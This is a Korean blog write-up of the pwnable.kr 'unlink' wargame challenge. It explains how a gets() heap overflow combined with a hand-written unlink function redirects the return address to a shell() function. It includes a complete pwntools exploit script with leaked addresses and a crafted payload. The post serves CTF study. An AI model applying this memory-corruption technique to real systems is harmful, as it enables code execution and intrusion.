<Wargame & CTF>/Pwnable.kr

[Pwnable.kr] Unlink

gosoeungduk 2020. 9. 22. 00:00
반응형

#HeapOverflow #unlink

Heap 공부를 본격적으로 다시 해보고자 이 문제로 시작했다.

Heap 병합과정을 통해 생기는 리얼 Unlink 취약점은 아니고, 구조체를 직접 구현해놓고 Unlink 가 이루어지는 과정을 함수로 구현해놓았다. 보급형 Unlink 취약점 ? 이라고 할 수 있을 듯하다.

structure

우선 청크 구조체는 이렇게 생겼다. fd, bk, 버퍼 요소가 들어있다. 크기는 16바이트 씩이다.

main_start

main 함수에서 사용되는 것은 A, B, C 요소이다. 그 후, 바로 아래 코드와 같이

A, B, C 를 이중연결리스트 로 만든다.

double_linked

그리고 남은 main 함수 로직은 이러하다

main_end

  • A 가 들어있는 스택주소 leak 시켜줌
  • A 의 주소 leak 시켜줌
  • gets 함수로 A 의 buf 에 무제한으로 쓴다.
  • unlink 로 B 를 조작한다.

gdb_main_end

그리고 main 이 끝나는 부분을 보면, ebp-4 의 주소 값(ecx) 에서 -4 한 주소값을 eip 에 넣어 main 함수를 종료시킨다.

unlink 함수에 대해서는 소스와 그림만 간략히 첨부한다. 중간에 낀 B 를 무시하고 A와 C를 서로 가리키게끔 만드는 함수이다.

src
paint

본 문제에서 우리의 목표는 shell 함수 를 실행시키는 것이다.

shell

하지만, 핵심 주소 leak 도 다 되어있고, heap overflowunlink 를 이용하면, 실행시킬 수 있다.

구성하려는 heap 은 이렇다.

heap

이렇게 되면 ebp-4 는 A+12 주소를 가리키게 된다.
A+12 는 우리가 넣은 dummy 값 중 일부가 들어가있을텐데, ebp-4 에서 참조한 주소에서 4 를 뺀 주소는 A+8 이다.

A+8 에는 위에서 보다시피 shell() 함수의 주소가 있으며, 그대로 payload 만들어 전달하면 쉘이 따진다.

from pwn import *
shell=0x080484eb
s=process("/home/unlink/unlink")
pause()
s.recvuntil("here is stack address leak: ")
stack=int(s.recv(10),16)
s.recvuntil("here is heap address leak: ")
heap_A=int(s.recv(10),16)
s.recvuntil("get shell!\n")
#20 bytes
payload=p32(shell)
payload+="a"*12
payload+=p32(heap_A+12)
payload+=p32(stack+20-4)
s.sendline(payload)
#print(hex(int(stack,16)))
#print(heap_A)
s.interactive()

contact : a42873410@gmail.com

반응형

'<Wargame & CTF> > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] blukat  (0) 2021.05.30
[Pwnable.kr] asm  (0) 2021.05.29
[Pwnable.kr] memcpy  (0) 2021.05.29
[Pwnable.kr]shellshock  (0) 2019.05.11
[Pwnable.kr]input  (0) 2019.05.11